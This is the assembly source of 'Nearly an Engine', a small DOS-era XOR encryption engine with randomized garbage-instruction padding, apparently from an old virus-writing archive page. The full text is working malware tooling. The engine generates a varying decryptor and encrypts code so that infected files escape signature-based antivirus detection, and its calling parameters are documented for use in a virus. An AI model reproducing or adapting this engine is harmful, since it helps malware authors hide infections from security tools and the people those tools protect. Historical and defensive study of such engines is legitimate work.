home *** CD-ROM | disk | FTP | other *** search
- comment *
- Nearly an Engine v 1.00 [NaE]
-
-
- Calling parameters:
- DL One byte garbage instruction
- CX Length of original code
- BP Decryptors offset
- DS:SI Pointer to original code
- ES:DI Pointer to decryptor + encrypted code
-
- Return parameters:
- CX Length of decryptor + encrypted code
-
- AX, DX, SI, DI and the flags are destroyed.
-
- The size of the decryptor will range from 13
- to 268 bytes. The decryption algorithm is a
- 8-bit exclusive OR (XOR) with a random
- decryption value.
-
- The size of NaE is 66 bytes (excl. ' [NaE] ').
- *
-
- nae_begin equ $ ; Begining of Nearly an Engine
-
- nae_crypt proc near ; Nearly an Engine
- push cx ; Save CX at stack
- push si ; Save SI at stack
- push cx ; Save CX at stack
- push cx ; Save CX at stack
-
- xor ax,ax ; Clear AX
- in al,40h ; AL = random number
- push ax ; Save AX at stack
- xchg ax,cx ; Exchange AX with CX
- mov al,dl ; AL = garbage instruction
- rep stosb ; Generate garbage instructions
-
- pop ax ; Load AX from stack
- add ax,(decryptorend-decryptor)
- mov dx,ax ; DX = size of garbage + decryptor
- add ax,bp ; Add decryptor's offset to AX
- mov word ptr decryptor+01h,ax
-
- pop ax ; Load AX from stack (CX)
- mov word ptr decryptor+04h,ax
-
- in al,40h ; AL = random number
- mov byte ptr decrypt+03h,al
-
- mov cl,(decryptorend-decryptor)
- lea si,decryptor ; SI = offset of decryptor
- rep movsb ; Move the decryptor
-
- pop cx ; Load CX from stack
- pop si ; Load SI from stack
-
- push di ; Save DI at stack
- rep movsb ; Move plain code after the decryptor
- pop di ; Load DI from stack
-
- jmp encrypt
- decryptor:
- mov di,0000h ; DI = offset of encrypted code
- encrypt:
- mov cx,0000h ; CX = length of encrypted code
- decrypt:
- xor byte ptr cs:[di],00h
- inc di ; Increase DI
- loop decrypt
- decryptorend:
- pop cx ; Load CX from stack
- add cx,dx ; CX = length of decryptor etc.
-
- ret ; Return!
- endp
-
- enginename db ' [NaE] ' ; Name of the engine
-
- nae_end equ $ ; End of Nearly an Engine
- nae_size equ $-nae_begin ; Size of Nearly an Engine
-